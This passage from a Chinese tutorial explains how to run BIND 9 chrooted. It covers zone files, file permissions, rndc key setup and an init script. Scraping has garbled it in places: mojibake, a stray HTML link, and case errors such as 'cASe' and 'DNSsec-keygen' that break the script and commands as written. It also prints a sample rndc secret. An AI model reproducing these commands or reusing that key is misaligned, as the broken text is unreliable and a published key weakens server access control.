ftp ftp://ftp.rs.internic.net/domain/named.root
接着是named.local
;
;named.local
;
$TTL 86400
@ IN SOA @ root (
42 ; 版本
3H ; 刷新时间3小时
15M ; 重试时间15分钟
1W ; 最大期限一周
1D ) ; 最小TTL一天 IN NS @
IN A 127.0.0.1
接着是named.127.0.0
;
; named.127.0.0
;
$TTL 86400
@ IN SOA localhost. root.localhost. ( ;这里的root.localost其实是root@localhost，在DNS设置中，将@用.代替
1 ; 版本
28800 ; 刷新，这里和下面的特意以分钟为单位，和上面的写法不同，就当多举个例子吧
14400 ; 重试
3600000 ; 最大期限
86400 ) ; 最小TTL
IN NS localhost.
1 IN PTR localhost.
4、设置权限
其实这一步，才是我们作任何chroot 服务真正精华的地方。如何把权限划分得准确，不至于无法执行服务，也不能大到会威胁到其他程序的安全，实在是一个需要仔细考虑的问题。
a.由于我们的目的是达到让bind程序以named用户身份运行，所以必须让它具有读配置，无写配置文件的权限，而且最好其他程序也不能改变我们的配置文件，只有root能改，named用户能读。为了满足这个要求的，自然就想到把文件的拥有者改为root，组用户设置为named，然后再慢慢仔细划分权限。
cd /chroot/named
chown –R root.named ./ #-R参数表示下属目录也依照此权限，-R参数在chown和chmod中经常用到
b.接下来想想各个文件、子目录的权限。Root组对 文件需要读写执行权限，named组对文件需要读取权限，而对下属子目录而言，则必须具有执行权限才能进入其中。因此作以下权限设置。
# 对文件赋予root 读写权限，赋予组named读权限
find . -type f -print | xargs chmod u=rw,og=r
# 对目录赋予roo读写执行权限，赋予组named读执行权限（这里的执行是为了能进入到下级目录中）
find . -type d -print | xargs chmod u=rwx,og=rx
#对etc目录下的配置文件，能不让其他用户读取当然是最好的，因此设置
chmod o= etc/*.conf
# "secondaries" 子目录是此DNS服务器作ㄖ?A href="http://www.cseek.com/catalog/entrance.do?catalogid=850®ionid=1" target=_blank>服务器，从主服务器更新消息的时候需要的，会在里面创建一些新文件。因此它的权限也需要特别设置，在这个目录下，named组、用户需要具有读权限，而不需要用到root用户，也不想让其他的用户身份访问。
chown root.named conf/secondaries/ #设置secondaries目录用户为root,组为named
chmod ug=rwx,o= conf/secondaries/ #给予root和named全部权限，以方便访问下面的文件
touch conf/secondaries/.empty # 去掉旧有的该文件
find conf/secondaries/ -type f -print | xargs chown named.named #将用户组、用户都设置为named
find conf/secondaries/ -type f -print | xargs chmod ug=r,o= #只让named组和用户有读权限，而其他用户无任何权限
接着是为var/目录设置权限（在这里会生成进程守护文件named.pid—我们在named.conf中设置了的）
chown root.root var/ #这里可以把named抛弃，
chmod u=rwx,og=x var/ #root可以读写设置，其他用户能执行就行，其实我们之所以做一个chroot DNS需要大费周折地单独设置目录，就是为了不让named具有访问真正的/var的权限。
chown root.named var/run/ #因为在run下面的需要由named身份来写named.pid文件，所以需要将组改为named好限制权限
chmod ug=rwx,o=rx var/run/ #用户/组具有读写执行权限，其他用户能读/执行就可以了，这样的设置，主要是为了方便我们后面写shell来判断DNS目前的状态。
chown root.named logs/ #日志目录，设置成这样的原因不用解释了吧
chmod ug=rwx,o=rx logs/ #日志允许其他人看比较好，方便以后挂第三方程序
5、启动并运行bind 9
激动人心的时候到了，即将开始我们的处女bind 9运行了。
运行以下命令
/usr/local/sbin/named -t /chroot/named -u named -c /etc/named.conf
然后再ps –fCnamed 看看？？如果出来类似
UID PID PPID C STIME TTY TIME CMD
named 14023 1 0 May27 ? 00:00:00 /usr/local/sbin/named -t /chroot/named -u named -c /etc/named.conf
这样的结果，说明成功了，恭喜你！！！
每次都这样输入累不累？？所以还是一起来写个shell吧（其实shell真的粉好用，但是一般真要系统地讲解起来又没有意思，所以我尽量在每篇文章中都把shell用上，慢慢就领会到它的好处咯）
vi /chroot/named.start
#多cpu的记得加个 "-n " 参数，才能启用多cpu哦，我也是在别的地方看到的
#
# named命令格式: named [-c 配置文件] [-d 除错级别] [-f|-g] [-n cpu个数]
# [-p 端口-默认是53] [-s] [-t chroot目录] [-u 执行该命令的用户身份]
cd /chroot/named
#确保除错的debug文件能够以named身份写入
touch named.run #建立该文?BR>chown named.named named.run #设置文件拥有者为named.named
chmod ug=rw,o=r named.run #权限为664
#以named身份，在chroot/named目录中以/etc/named.conf为配置文件执行named程序
#这里的/etc/named.conf是我们用ln –s连过去的，参看前文
/usr/local/sbin/named -t /chroot/named -u named -c /etc/named.conf
然后以sh /chroot/named.start 执行此命令就行了，之后在/etc/resolv.conf为自己的DNS地址就可以测试了，当然，也可以用dig命令来查（个人觉得dig命令比nslookup好用，但是Solaris 2.6上默认没有）。
6. 控制工具rndc的安装和使用
rndc=remote dnc,以前装过bind 8的朋友都知道有个ndc工具，而在bind 9中，更是连远程控制的功能都加上了。说“加上”其实不够恰当，因为rdnc并不是用ndc改的，而是重新写的一个通过tcp协议进行DNS控制的软件。(有什么用？问问做虚拟主机/系统管理的朋友就知道，DNS一般都是用独立主机，如果可以远程reload配置文件，可以方便很多的)。
rndc 原本是应该读取/usr/local/etc/rndc.conf 作为配置文件的,但我们既然是安装chroot的DNS，所以有必要把rndc.conf转到/chroot/named/etc/rndc.conf。好，下面来看看我们的rndc.conf的写法。
options {
default-server localhost; //先配置本地的
default-key "rndckey"; //key的名字
};
server localhost {
key "rndckey"; //key的名字
};
include "/chroot/named/etc/rndc.key"; //在这个文件中包含了rndckey的值，之所以这样，是因为在rndc.conf和named.conf中都用到这个值，用include方便写自动的shell一些
同样的道理，在/chroot/named/etc/named.conf的也加上需要的语句
controls {
inet 127.0.0.1 allow { localhost; } keys { rndckey; }; //允许localhost连接
};
include "/etc/rndc.key";
接下来，就是要?chroot/named/etc/rndc.key 文件了，它是一个采用bASe-64编码加密的长字符串key,我们用DNSsec-keygen命令来生成它:
cd /chroot/named/etc
/usr/local/sbin/DNSsec-keygen -a HMAC-MD5 -b 256 -n HOST rndc
得到一个类似Krndc.+157+30481这样的返回值，这说明已经在当前目录下成功建立了Krndc.+157+30481.key和Krndc.+157+30481.private两个文件。
cat Krndc.+157+30481.private 显示
Private-key-format: v1.2
Algorithm: 157 (HMAC_MD5)
Key: aoqaT1r9Oz29DIj3VPn6+teHcvBudGAc17qLM4nPOqA=
在这里，Key后面的那串字符就是我们想要的key了，把它复制下来，然后删除临时文件
rm Krndc.+157+30481.*
vi /chroot/named/etc/rndc.key
key "rndckey" {
algorithm "hmac-md5";
secret " aoqaT1r9Oz29DIj3VPn6+teHcvBudGAc17qLM4nPOqA=";
};
现在已经配置完成了，建立2个软连接
ln -s /chroot/named/etc/rndc.conf /usr/local/etc/rndc.conf
ln -s /chroot/named/etc/rndc.conf /etc/rndc.conf
Ok,接下来对目前运行的named飞起一腿，强迫让它重新读配置文件
ps –fCnamed
UID PID PPID C STIME TTY TIME CMD
named 14023 1 0 May27 ? 00:00:00 /usr/local/sbin/named -t /chroot/named -u named -c /etc/named.conf
kill -1 14023 #14023 是named的进程号，至于-1的作用，自己man kill吧
现在来看看我们的rndc是否工作正常
/usr/local/sbin/rndc status 如果现实类似下面的情形就恭喜你咯
number of zones: 2
debug level: 0
xfers running: 0
xfers deferred: 0
soa queries in progress: 0
query logging is OFF
server is up and running
如果出现的是rndc: send remote authenticator: permission denied 则肯定上面的步骤中存在问题，请一步步检查吧。
7、开机执行脚本
每次输入很长的命令来进行重新启动，停止DNS实在不是明智的做法，写个shell脚本来帮助我们吧。
vi /etc/init.d/named
#!/bin/sh
#
export PATH=/usr/local/sbin:$PATH # 把路径加进去，就不用每次输入全路径了
cASe "$1" in
start)
# 运行Bind
echo -n "Starting named: "
sh /chroot/named.start
echo "done"
;;
stop)
# 停止 Bind
echo -n "Shutting down named: "
rndc stop
echo "done"
;;
reload)
# 重新载入配置
echo -n "Reload named: "
rndc reload
echo "done"
;;
status)
# 显示当前状态
rndc status
;;
*)
echo "/etc/init.d/named {start|stop|status|reload}"
exit 1
esac
exit 0
然后当然是 chmod a+x /etc/init.d/named
接下来就是对各个启动模式做符号连接了Red Hat 下：
ln -s /etc/init.d/named /etc/rc2.d/S45named
ln -s /etc/init.d/named /etc/rc3.d/S45named
ln -s /etc/init.d/named /etc/rc5.d/S45named
Solaris 2.6 下：
ln -s /etc/init.d/named /etc/rc3.d/S45named
ln -s /etc/init.d/named /etc/rcS.d/S45named
到这里，我们的chroot bind 9 可以说真正正式完工！！
在最后，我付上一个在Red Hat AS3 上调试通过的自动安装chroot bind 9的安装包（已内含bind 9.2.3），如要在Solaris 上安装，可能需要自行修改一些地方，我在shell中注明了在Solaris下可能有错的地方。希望这个安装包可以方便各位和我自己在某些紧急情形下的时候用最短的时间搞定一个chroot DNS！
安装包下载
